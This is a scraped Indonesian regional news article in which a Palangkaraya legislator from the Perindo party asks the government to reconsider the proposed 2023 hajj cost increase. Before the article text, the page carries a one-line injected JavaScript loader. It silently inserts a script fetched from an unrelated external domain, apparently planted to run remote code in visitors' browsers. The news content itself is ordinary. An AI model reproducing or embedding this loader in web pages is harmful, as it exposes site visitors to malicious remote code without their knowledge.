(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Palangkaraya

Wakil Rakyat dari Perindo Ini Minta Kenaikan Biaya Haji Dikaji Ulang


KANALKALIMANTAN.COM, PALANGKARAYA – Pemerintah mengusulkan kenaikan Biaya Perjalanan Ibadah Haji (BPIH) tahun 1444 hijriyah/2023 masehi. Adanya rencana kenaikan biaya haji ini mendapat sorotan banyak pihak di berbagai daerah, termasuk legislator di Kota Palangkaraya.

“Kenaikan BPIH ini tentu menjadi dilema bagi masyarakat. Terutama mereka yang sudah merencanakan untuk menjadi calon jemaah haji. Kenaikan biaya yang diusulkan pemerintah sebaiknya dikaji ulang dengan pertimbangan,” kata Wakil Ketua I Komisi C DPRD Palangkaraya, Ruselita.

Melihat rencana kenaikan BPIH, biaya yang harus dibayarkan calon jemaah pada 2022 adalah Rp 39.886.009. Namun, kemudian BPIH 2023 diusulkan Kementerian Agama (Kemenag) menjadi Rp 69.193.733.

“Mengacu rincian rencana kenaikan BPIH ini maka artinya, kenaikan dari Rp 39 juta ke Rp 69 juta hampir 77 persen, atau kisaran kenaikan sebesar Rp 30 juta. Kenaikan ini tentu akan membebani masyarakat,” ungkapnya.

 

Baca juga: Sejarah Masjid Bani Al Ahdal Gunung Ronggeng, Dulu Guru Sekumpul Salat Jumat, Sekarang Kedua Puteranya

Hal yang harus dipertimbangkan lagi kata politisi Partai Perindo ini, ekonomi masyarakat saat ini masih sulit atau belum pulih sepenuhnya akibat dari terpaan pandemi Covid-19.

Sementara itu, masyarakat yang berniat menjadi calon jemaah haji, tentunya sudah melakukan persiapan dengan menabung puluhan tahun lamanya, serta berharap ketika mendapat giliran berangkat haji tinggal hanya menambah sedikit saja biaya.

Dengan adanya wacana kenaikan BPIH ini tentu mereka terpaksa harus bekerja keras guna mencari dan menambah lagi biaya yang diperlukan.

“Kita berharap agar wacana kenaikan BPIH ini bisa dikaji ulang. Apapun keputusan pemerintah jangan sampai memberatkan masyarakat. Terlebih ibadah haji ini merupakan bagian dari rukun Islam yang sangat didambakan umat muslim,” pungkasnya. (Kanalkalimantan.com/tri)

Reporter : tri
Editor : kk


Risa

Recent Posts

Pj Bupati Kapuas Erlin Hardi ke Desa Tumbang Mangkutup

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas, Erlin Hardi bersilaturahmi dengan masyarakat Desa Tumbang… Read More

8 jam ago

Satgas TMMD Beri Penyuluhan Pertanian dan Perikanan di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Setelah program non fisik sosialisasi PHBS (Perilaku Hidup bersih Sehat) dan masalah… Read More

8 jam ago

Banjarbaru Posisi Kedua Klasemen Sementara Popda Kalsel 2024

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah cabang olahraga (cabor) unggulan membawa kontingen Kota Banjarbaru bertengger di posisi… Read More

11 jam ago

Hasnur Resmi Lamar Partai Golkar, Mencari ‘Pintu’ Koalisi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More

12 jam ago

Pasti Maju Pilwali Banjarbaru, Ovie Simpan Nama Pasangan

KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More

14 jam ago

Soal Caleg Terpilih Mundur atau Tidak Mundur Jika Maju Pilkada, Begini Penjelasan KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More

16 jam ago

This website uses cookies.